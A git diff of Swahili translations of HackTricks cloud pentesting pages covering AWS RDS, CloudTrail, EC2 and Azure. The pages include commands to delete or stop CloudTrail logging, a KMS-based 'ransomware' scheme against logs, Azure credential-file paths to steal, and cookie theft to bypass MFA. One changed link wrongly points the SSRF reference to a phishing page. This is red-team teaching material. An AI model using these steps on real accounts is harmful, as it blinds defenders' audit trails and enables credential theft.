Kwa kuwezesha usimbaji wako, unawawezesha **usimbaji fiche wakati wa kupumzika kwa uhifadhi wako, picha za snapshot, read replicas na nakala zako za akiba**. Funguo za kusimamia usimbaji huu zinaweza kutolewa kwa kutumia **KMS**.\
Haiwezekani kuongeza kiwango hiki cha usimbaji baada ya database yako kuundwa. **Lazima ifanyike wakati wa uundaji wake**.
@@ -53,22 +53,22 @@ Hata hivyo, kuna **njia mbadala inayokuruhusu kusimbwa fiche database isiyosimbw
#### Transparent Data Encryption (TDE)
-Pamoja na uwezo wa usimbaji fiche ulio ndani ya RDS katika ngazi ya programu, RDS pia inasaidia **mbinu za usimbaji fiche za ngazi ya jukwaa** ili kulinda data wakati wa kupumzika. Hii inajumuisha **Transparent Data Encryption (TDE)** kwa Oracle na SQL Server. Hata hivyo, ni muhimu kutambua kwamba ingawa TDE inaongeza usalama kwa kusimbwa fiche data wakati wa kupumzika, inaweza pia **kuathiri utendaji wa database**. Athari hii ya utendaji inajitokeza hasa inapotumika pamoja na kazi za usimbaji fiche za MySQL au kazi za usimbaji fiche za Microsoft Transact-SQL.
+Pamoja na uwezo wa usimbaji fiche ulio ndani ya RDS katika ngazi ya programu, RDS pia inasaidia **mbinu za usimbaji fiche za ngazi ya jukwaa** ili kulinda data wakati wa kupumzika. Hii inajumuisha **Transparent Data Encryption (TDE)** kwa Oracle na SQL Server. Hata hivyo, ni muhimu kutambua kwamba ingawa TDE inaongeza usalama kwa kusimbwa fiche data wakati wa kupumzika, inaweza pia **kuathiri utendaji wa database**. Athari hii ya utendaji inajulikana hasa inapokuwa ikitumiwa pamoja na kazi za usimbaji fiche za MySQL au kazi za usimbaji fiche za Microsoft Transact-SQL.
Ili kutumia TDE, hatua fulani za awali zinahitajika:
-1. **Kundi la Chaguo**:
-- Database lazima iunganishwe na kundi la chaguo. Vikundi vya chaguo vinatumika kama vyombo vya mipangilio na vipengele, vinavyorahisisha usimamizi wa database, ikiwa ni pamoja na maboresho ya usalama.
+1. **Kushirikisha Kundi la Chaguo**:
+- Database lazima iwe na ushirikiano na kundi la chaguo. Vikundi vya chaguo vinatumika kama vyombo vya kuweka mipangilio na vipengele, vinavyosaidia usimamizi wa database, ikiwa ni pamoja na maboresho ya usalama.
- Hata hivyo, ni muhimu kutambua kwamba vikundi vya chaguo vinapatikana tu kwa injini maalum za database na matoleo.
2. **Kuongeza TDE katika Kundi la Chaguo**:
-- Mara tu ikishaundwa na kundi la chaguo, chaguo la Oracle Transparent Data Encryption linahitaji kuongezwa katika kundi hilo.
-- Ni muhimu kutambua kwamba mara chaguo la TDE linapoongezwa kwenye kundi la chaguo, linakuwa kipengele cha kudumu na haliwezi kuondolewa.
+- Mara tu inaposhirikishwa na kundi la chaguo, chaguo la Oracle Transparent Data Encryption linahitaji kuongezwa katika kundi hilo.
+- Ni muhimu kutambua kwamba mara chaguo la TDE linapoongezwa kwenye kundi la chaguo, linakuwa sehemu ya kudumu na haliwezi kuondolewa.
3. **Modes za Usimbaji wa TDE**:
- TDE inatoa modes mbili tofauti za usimbaji:
- **TDE Tablespace Encryption**: Hali hii inasimbwa fiche meza nzima, ikitoa wigo mpana wa ulinzi wa data.
- **TDE Column Encryption**: Hali hii inazingatia kusimbwa fiche vipengele maalum, ikiruhusu udhibiti wa kina juu ya ni data gani inayo simbwa fiche.
-Kuelewa masharti haya na intricacies za uendeshaji wa TDE ni muhimu kwa kutekeleza na kusimamia usimbaji fiche ndani ya RDS, kuhakikisha usalama wa data na kufuata viwango vinavyohitajika.
+Kuelewa masharti haya na intricacies za operesheni za TDE ni muhimu kwa kutekeleza na kusimamia usimbaji fiche ndani ya RDS, kuhakikisha usalama wa data na kufuata viwango vinavyohitajika.
### Enumeration
```bash
@@ -131,10 +131,10 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password
### SQL Injection
-Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo basi, **injections za SQL za kawaida pia zinawezekana**.
+Kuna njia za kufikia data za DynamoDB kwa kutumia **SQL syntax**, hivyo basi, **SQL injections za kawaida pia zinaweza** kutokea.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/sql-injection
+https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 910e2e618..1d5498a3b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,32 +4,32 @@
## **CloudTrail**
-AWS CloudTrail **inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS**. Inakamata **kumbukumbu za matukio** za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata, na ufuatiliaji wa mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia za mtumiaji na rasilimali, kuboresha mkao wa usalama, na kuhakikisha kufuata kanuni.
+AWS CloudTrail **inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS**. Inakamata **kumbukumbu za matukio** za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata sheria, na kufuatilia mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia za mtumiaji na rasilimali, kuboresha mkao wa usalama, na kuhakikisha kufuata sheria.
Kila tukio lililosajiliwa lina:
-- Jina la API iliyoitwa: `eventName`
-- Huduma iliyoitwa: `eventSource`
+- Jina la API iliyotumika: `eventName`
+- Huduma iliyotumika: `eventSource`
- Wakati: `eventTime`
- Anuani ya IP: `SourceIPAddress`
- Njia ya wakala: `userAgent`. Mifano:
- Signing.amazonaws.com - Kutoka AWS Management Console
- console.amazonaws.com - Mtumiaji wa root wa akaunti
- lambda.amazonaws.com - AWS Lambda
-- Parameta za ombi: `requestParameters`
+- Vigezo vya ombi: `requestParameters`
- Vipengele vya majibu: `responseElements`
-Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **karibu kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 karibu dakika 15 baada**.\
+Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **takriban kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 takriban dakika 15 baada**.\
Kumbukumbu za CloudTrail zinaweza **kuunganishwa kati ya akaunti na kati ya mikoa.**\
CloudTrail inaruhusu kutumia **uaminifu wa faili za kumbukumbu ili uweze kuthibitisha kwamba faili zako za kumbukumbu hazijabadilika** tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya digest. Hash ya sha-256 ya kumbukumbu mpya inaundwa kila saa.\
-Wakati wa kuunda Trail, wachaguzi wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa.
+Unapounda Trail, wachaguo wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa.
-Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Kando wa Server unatumika (SSE-S3) hivyo AWS itachambua yaliyomo kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.
+Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Upande wa Server unatumika (SSE-S3) hivyo AWS itachambua yaliyomo kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.
-Kumbukumbu zinahifadhiwa katika **bakuli la S3 lenye muundo huu wa jina**:
+Kumbukumbu zinawekwa katika **bakuli la S3 lenye muundo huu wa jina**:
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
-- Ikiwa ni BucketName: **`aws-cloudtrail-logs--`**
+- Jina la Bakuli: **`aws-cloudtrail-logs--`**
- Mfano: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
Ndani ya kila folda, kila kumbukumbu itakuwa na **jina linalofuata muundo huu**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
@@ -42,11 +42,11 @@ Zaidi ya hayo, **faili za digest (kuangalia uaminifu wa faili)** zitakuwa ndani
.png>)
-### Kuunganisha Kumbukumbu kutoka Akaunti Mbalimbali
+### Kuunganisha Kumbukumbu kutoka Akaunti Nyingi
- Unda Trail katika akaunti ya AWS ambapo unataka faili za kumbukumbu zipelekwe
- Weka ruhusa kwa bakuli la S3 la marudio linaloruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji
-- Unda Trail mpya katika akaunti nyingine za AWS na chagua kutumia bakuli iliyoundwa katika hatua ya 1
+- Unda Trail mpya katika akaunti nyingine za AWS na uchague kutumia bakuli iliyoundwa katika hatua ya 1
Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3, huwezi kuunganisha kumbukumbu za CloudTrail kutoka akaunti nyingi katika Kumbukumbu za CloudWatch zinazomilikiwa na akaunti moja ya AWS.
@@ -55,7 +55,7 @@ Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3
### Cloudtrail kutoka akaunti zote za org katika 1
-Wakati wa kuunda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli 1 tu:
+Unapounda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli moja tu:
@@ -69,21 +69,21 @@ aws cloudtrail validate-logs --trail-arn --start-time [-
```
### Logs to CloudWatch
-**CloudTrail inaweza kutuma moja kwa moja logi kwa CloudWatch ili uweze kuweka arifa zinazokujulisha unapofanya shughuli za kutatanisha.**\
+**CloudTrail inaweza kutuma logi kwa CloudWatch kiotomatiki ili uweze kuweka arifa zinazokujulisha unapofanya shughuli za kutatanisha.**\
Kumbuka kwamba ili kuruhusu CloudTrail kutuma logi kwa CloudWatch, **role** inahitaji kuundwa inayoruhusu kitendo hicho. Ikiwezekana, inapendekezwa kutumia role ya AWS ya kawaida kufanya vitendo hivi. Role hii itaruhusu CloudTrail:
-- CreateLogStream: Hii inaruhusu kuunda CloudWatch Logs log streams
-- PutLogEvents: Toa logi za CloudTrail kwa CloudWatch Logs log stream
+- CreateLogStream: Hii inaruhusu kuunda mstream wa logi za CloudWatch
+- PutLogEvents: Toa logi za CloudTrail kwa mstream wa logi za CloudWatch
### Event History
-CloudTrail Event History inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa:
+Historia ya Matukio ya CloudTrail inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa:
.png>)
### Insights
-**CloudTrail Insights** moja kwa moja **inafanya uchambuzi** wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na **inakujulisha** kuhusu **shughuli zisizo za kawaida**. Kwa mfano, ikiwa kuna ongezeko la matukio ya `TerminateInstance` yanayotofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya **kugundua na kujibu shughuli zisizo za kawaida za API kuwa rahisi** kuliko hapo awali.
+**CloudTrail Insights** kiotomatiki **inafanya uchambuzi** wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na **inakujulisha** kuhusu **shughuli zisizo za kawaida**. Kwa mfano, ikiwa kuna ongezeko la matukio ya `TerminateInstance` ambayo yanatofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya **kugundua na kujibu shughuli zisizo za kawaida za API kuwa rahisi** zaidi kuliko hapo awali.
Insights zinahifadhiwa katika bucket sawa na logi za CloudTrail katika: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
@@ -91,12 +91,12 @@ Insights zinahifadhiwa katika bucket sawa na logi za CloudTrail katika: `BucketN
| CloudTrail Log File Integrity |
Thibitisha ikiwa logi zimeingiliwa (kubadilishwa au kufutwa)
Tumia faili za digest (unda hash kwa kila faili)
SHA-256 hashing
SHA-256 na RSA kwa saini ya kidijitali
funguo ya faragha inayomilikiwa na Amazon
Inachukua saa 1 kuunda faili ya digest (kufanywa kila saa)
Zuia ufikiaji wa kufuta kwa kutumia sera za IAM na bucket
Sanidi S3 MFA delete
Thibitisha kwa Log File Validation
|
+| Stop unauthorized access |
Tumia sera za IAM na sera za bucket za S3
timu ya usalama —> ufikiaji wa admin
waangalizi —> ufikiaji wa kusoma tu
Tumia SSE-S3/SSE-KMS kuandika logi
|
+| Prevent log files from being deleted |
Punguza ufikiaji wa kufuta kwa kutumia sera za IAM na bucket
Sanidi S3 MFA delete
Thibitisha kwa Uthibitishaji wa Faili za Logi
|
## Access Advisor
-AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS **CloudTrail ili kukusanya maarifa yake**. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii kuonyesha **wakati huduma zilipofikiwa kwa mara ya mwisho**. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au role amefikia na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu **kuboresha ruhusa**, kwani wanaweza kubaini huduma ambazo hazijafikiwa kwa muda mrefu na kwa hivyo kupunguza ruhusa zisizo na mipaka kulingana na mifumo halisi ya matumizi.
+AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS **CloudTrail ili kukusanya maarifa yake**. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii ku **onyesha wakati huduma zilipofikiwa kwa mara ya mwisho**. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au role amezifikia na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu **kuboresha ruhusa**, kwani wanaweza kubaini huduma ambazo hazijatumika kwa muda mrefu na kwa hivyo kupunguza ruhusa zisizo na mipaka kulingana na mifumo halisi ya matumizi.
> [!TIP]
> Kwa hivyo, Access Advisor inatoa taarifa kuhusu **ruhusa zisizo za lazima zinazotolewa kwa watumiaji** ili admin aweze kuziondoa
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id )
> [!CAUTION]
-> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo huenda unahitaji kutafuta zako mwenyewe...
+> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo labda unahitaji kutafuta zako mwenyewe...
>
> Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
### Kufikia Miundombinu ya Tatu
-Huduma fulani za AWS zita **unda miundombinu fulani** kama vile **Maktaba** au **vikundi vya Kubernetes** (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia API ya AWS**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya.
+Huduma fulani za AWS zitaunda **miundombinu fulani** kama vile **Maktaba** au **vikundi vya Kubernetes** (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia API ya AWS**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya.
Kwa hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na **kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail**.
@@ -216,7 +216,7 @@ Maelezo zaidi katika:
### Kubadilisha Mipangilio ya CloudTrail
-#### Futa nyayo
+#### Futa trails
```bash
aws cloudtrail delete-trail --name [trail-name]
```
@@ -224,11 +224,11 @@ aws cloudtrail delete-trail --name [trail-name]
```bash
aws cloudtrail stop-logging --name [trail-name]
```
-#### Zima logging ya mikoa mingi
+#### Zima ufuatiliaji wa mikoa mingi
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
-#### Zima Kurekodi kwa Wateule wa Matukio
+#### Zima Logging kwa Wateule wa Matukio
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region
@@ -249,20 +249,20 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration
- Futa bucket ya S3
- Badilisha sera ya bucket kukataa maandiko yoyote kutoka kwa huduma ya CloudTrail
- Ongeza sera ya maisha kwa bucket ya S3 kufuta vitu
-- Zima funguo ya kms inayotumika kuandika kumbukumbu za CloudTrail
+- Zima funguo za kms zinazotumika kuandika kumbukumbu za CloudTrail
-### Ransomware ya Cloudtrail
+### Cloudtrail ransomware
-#### Ransomware ya S3
+#### S3 ransomware
Unaweza **kuunda funguo isiyo ya kawaida** na kufanya **CloudTrail kuandika data** kwa funguo hiyo na **kufuta funguo ya faragha** ili maudhui ya CloudTrail hayawezi kurejeshwa.\
-Hii ni kimsingi **ransomware ya S3-KMS** iliyoelezwa katika:
+Hii ni kimsingi **S3-KMS ransomware** iliyoelezwa katika:
{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
{{#endref}}
-**Ransomware ya KMS**
+**KMS ransomware**
Hii ni njia rahisi zaidi ya kutekeleza shambulio la awali na mahitaji tofauti ya ruhusa:
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
index 83076d295..71da92a8f 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -17,7 +17,7 @@ Inawezekana kufichua **bandari yoyote ya mashine za virtual kwa mtandao**. Kulin
#### SSRF
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Public AMIs & EBS Snapshots
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
-Ikiwa unapata snapshot ambayo inaweza kurejeshwa na mtu yeyote, hakikisha kuangalia [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) kwa maelekezo juu ya kupakua na kuiba snapshot hiyo.
+Ikiwa unapata snapshot ambayo inaweza kurejeshwa na mtu yeyote, hakikisha kuangalia [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) kwa maelekezo juu ya kupakua na kuiba snapshot hiyo.
#### Kiolezo cha URL ya Umma
```bash
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index f16d2b240..322446f90 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -12,14 +12,14 @@ az-basic-information/
Ili kukagua mazingira ya AZURE ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinachoweza **kuonyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za Azure na **huduma za nje** zinavyounganishwa.
-Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kupata **akidi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
+Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kufanikiwa kupata **akikazi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
- **Mvujo** katika github (au sawa) - OSINT
- **Uhandisi** wa Kijamii
-- **Tumia tena** nywila (mvujo wa nywila)
-- Uthibitisho katika Programu za Azure-Hosted
-- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint
-- **Soma Faili za Mitaa**
+- **Mara kwa mara** ya Nywila (mvujo wa nywila)
+- Uthibitisho katika Maombi ya Azure-Hosted
+- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) yenye ufikiaji wa metadata endpoint
+- **Usomaji wa Faili za Mitaa**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- Faili **`accessTokens.json`** katika `az cli` kabla ya 2.30 - Jan2022 - ilihifadhi **tokens za ufikiaji kwa maandiko wazi**
@@ -29,8 +29,8 @@ Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure
Tumia `Disconnect-AzAccount` kuondoa hizo.
- Watu wa 3rd **walivunja**
- **Mfanyakazi** wa Ndani
-- [**Uvuvi wa Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akidi au Oauth App)
-- [Uvuvi wa Uthibitisho wa Nambari ya Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
+- [**Phishing ya Kawaida**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (akikazi au Oauth App)
+- [Uthibitisho wa Kiholela wa Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
Hata kama huja **athiri mtumiaji yeyote** ndani ya tenant ya Azure unayoishambulia, unaweza **kusanya habari fulani** kutoka kwake:
@@ -40,33 +40,33 @@ az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
-> Baada ya kufanikiwa kupata akidi, unahitaji kujua **ni nani akidi hizo zinamilikiwa**, na **nini wana ufikiaji nacho**, hivyo unahitaji kufanya uainishaji wa msingi:
+> Baada ya kufanikiwa kupata akiba, unahitaji kujua **ni nani anayehusiana na akiba hizo**, na **nini wanapata ufikiaji**, hivyo unahitaji kufanya uhesabu wa msingi:
## Basic Enumeration
> [!NOTE]
-> Kumbuka kwamba sehemu ya **kelele** zaidi ya uainishaji ni **kuingia**, si uainishaji wenyewe.
+> Kumbuka kwamba sehemu ya **kelele** zaidi ya uhesabu ni **kuingia**, si uhesabu yenyewe.
### SSRF
Ikiwa umepata SSRF katika mashine ndani ya Azure angalia ukurasa huu kwa mbinu:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
{{#endref}}
### Bypass Login Conditions
-Katika hali ambapo una akidi halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo:
+Katika hali ambapo una akiba halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo:
- **IP whitelisting** -- Unahitaji kuathiri IP halali
- **Geo restrictions** -- Pata mahali mtumiaji anaishi au ofisi za kampuni na pata IP kutoka jiji moja (au nchi angalau)
-- **Browser** -- Labda ni kivinjari tu kutoka OS fulani (Windows, Linux, Mac, Android, iOS) kinachoruhusiwa. Jua ni OS ipi mwathirika/kampuni inatumia.
-- Unaweza pia kujaribu **kuathiri akidi za Service Principal** kwani kawaida huwa na mipaka kidogo na kuingia kwake hakuchunguzwi sana
+- **Browser** -- Huenda ni kivinjari tu kutoka OS fulani (Windows, Linux, Mac, Android, iOS) kinachoruhusiwa. Jua ni OS ipi ambayo mwathirika/kampuni inatumia.
+- Unaweza pia kujaribu **kuathiri akiba za Service Principal** kwani mara nyingi zina mipaka kidogo na kuingia kwake hakuchunguzwi sana
-Baada ya kuweza kuondoa hiyo, unaweza kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji.
+Baada ya kuweza kuondoa hiyo, unaweza kuwa na uwezo wa kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji.
### Subdomain Takeover
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
-> Moja ya amri muhimu zaidi za kuhesabu Azure ni **`Get-AzResource`** kutoka Az PowerShell kwani inakuwezesha **kujua rasilimali ambazo mtumiaji wako wa sasa anaweza kuona**.
+> Moja ya amri muhimu zaidi za kuorodhesha Azure ni **`Get-AzResource`** kutoka Az PowerShell kwani inakuruhusu **kujua rasilimali ambazo mtumiaji wako wa sasa anaweza kuona**.
>
> Unaweza kupata taarifa sawa katika **konsoli ya wavuti** kwa kutembelea [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) au kutafuta "All resources"
### ENtra ID Enumeration
-Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuhesabu** mambo kama vile, watumiaji, vikundi, majukumu, wahusika wa huduma... (angalia [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
+Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuorodhesha** mambo kama vile, watumiaji, vikundi, majukumu, huduma za msingi... (angalia [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\
Unaweza kupata hapa mwongozo:
{{#ref}}
@@ -135,7 +135,7 @@ az-services/az-azuread.md
> [!NOTE]
> Sasa kwamba una **taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\
-> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.**
+> Katika sehemu ifuatayo unaweza kuangalia baadhi ya njia za **kuorodhesha huduma za kawaida.**
## App Service SCM
@@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
{{#endtab }}
{{#endtabs }}
-## Zana za Kutafuta Kiotomatiki
+## Zana za Upelelezi za Kiotomatiki
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
index 65fa2f221..a093e972b 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -4,20 +4,20 @@
## Kwa Nini Cookies?
-Browser **cookies** ni mekanizma nzuri ya **kupita uthibitisho na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
+Browser **cookies** ni mekanizma nzuri ya **kuepuka uthibitishaji na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
Unaweza kuona ambapo **cookies za kivinjari ziko** katika:
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
{{#endref}}
## Shambulio
-Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za cryptographic zinazohusishwa na mtumiaji](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika:
+Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za cryptographic zinazohusishwa na mtumiaji](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika:
{{#ref}}
-https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
